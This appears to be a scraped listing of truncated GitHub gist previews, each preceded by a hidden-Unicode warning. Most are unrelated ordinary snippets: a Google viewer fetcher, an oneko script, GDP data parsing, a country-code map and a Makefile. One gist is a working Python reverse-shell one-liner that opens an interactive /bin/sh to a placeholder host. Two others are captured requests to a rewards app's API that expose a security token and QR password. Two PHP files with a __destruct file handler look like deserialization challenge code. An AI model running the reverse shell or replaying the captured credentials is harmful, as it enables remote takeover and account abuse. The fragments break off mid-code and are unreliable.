This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
import json | |
import re | |
def getUrlAsGoogle(coolUrl): | |
while True: | |
try: | |
coolUrl = "https://docs.google.com/viewer?url=" + coolUrl | |
req = requests.get(coolUrl, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
type oneko >/dev/null 2>&1 || { echo >&2 "I require oneko but it's not installed. Aborting."; exit 1; } | |
array[0]="sakura" | |
array[1]="tomoyo" | |
array[2]="neko" | |
array[3]="dog" | |
array[4]="tora" | |
allcolorsS=$(awk -F ' ' '{print $4}' /etc/X11/rgb.txt | tr "\n" " "); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import xml.etree.ElementTree as ET | |
import xlrd | |
from code3to2 import convert2 | |
tree = ET.parse('data.xml') | |
root = tree.getroot() | |
wld = [] | |
wldGdp = [] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def convert2(threeDigit): | |
"""converts three digit country code to two digit country code""" | |
codeMapping = { | |
'AFG':'AF', | |
'ALA':'AX', | |
'ALB':'AL', | |
'DZA':'DZ', | |
'ASM':'AS', | |
'AND':'AD', | |
'AGO':'AO', |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
POST /restearnmobil/senk_yeni HTTP/1.1 | |
Content-Length: 263 | |
Content-Type: application/x-www-form-urlencoded | |
Host: restearncloud.com | |
Connection: Keep-Alive | |
Accept-Encoding: gzip | |
req=%7B%22insert%22%3A%5B%5D%2C%22update%22%3A%5B%5D%2C%22delete%22%3A%5B%5D%2C%22extra%22%3A%7B%22id%22%3A%2212040%22%2C%22city%22%3A%22konya%22%2C%22temp_key%22%3A%22ZmdlZ1LK8VO2pFhO202006262158346161%22%2C%22security_token%22%3A%22caXNnBzGd64wMX9jg2L9%22%7D%7D |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
POST /restearnmobil/odul_qr_read HTTP/1.1 | |
Content-Length: 255 | |
Content-Type: application/x-www-form-urlencoded | |
Host: restearncloud.com | |
Connection: Keep-Alive | |
Accept-Encoding: gzip | |
req=%7B%22security_token%22%3A%22caXNnBzGd64wMX9jg2L9%22%2C%22qr_code%22%3A%22KG7QVfRp2020062622004922527%22%2C%22qr_sifre%22%3A%22said1234said%22%2C%22qr_pass%22%3A%22uPT3M1hY2020062622004922527%22%2C%22tip%22%3A%22odul%22%2C%22kul_id%22%3A%2212040%22%7D |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP_ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class Dosya { | |
public $files = ""; | |
function __destruct() { | |
$dosya = explode(".",strtolower($this->files)); | |
if(end($dosya) === "txt"){ | |
$ac = file($this->files); | |
if($ac[0] === trim("istekler")){ | |
}else { | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class Dosya { | |
public $files = ""; | |
function __destruct() { | |
$dosya = explode(".",strtolower($this->files)); | |
if(end($dosya) === "txt"){ | |
$ac = file($this->files); | |
if($ac[0] === trim("istekler")){ | |
}else { | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
LDFLAGS=-std=c++11 | |
MAKER=make --no-print-directory | |
DIFFER=diff -y --color --minimal --suppress-common-lines | |
define check_class | |
@$(MAKER) clean; | |
@echo "compiling $(1)"; | |
@if $(MAKER) $(1); then \ | |
echo "$(1) compiled successfully.\nchecking outputs"; \ | |
else\ |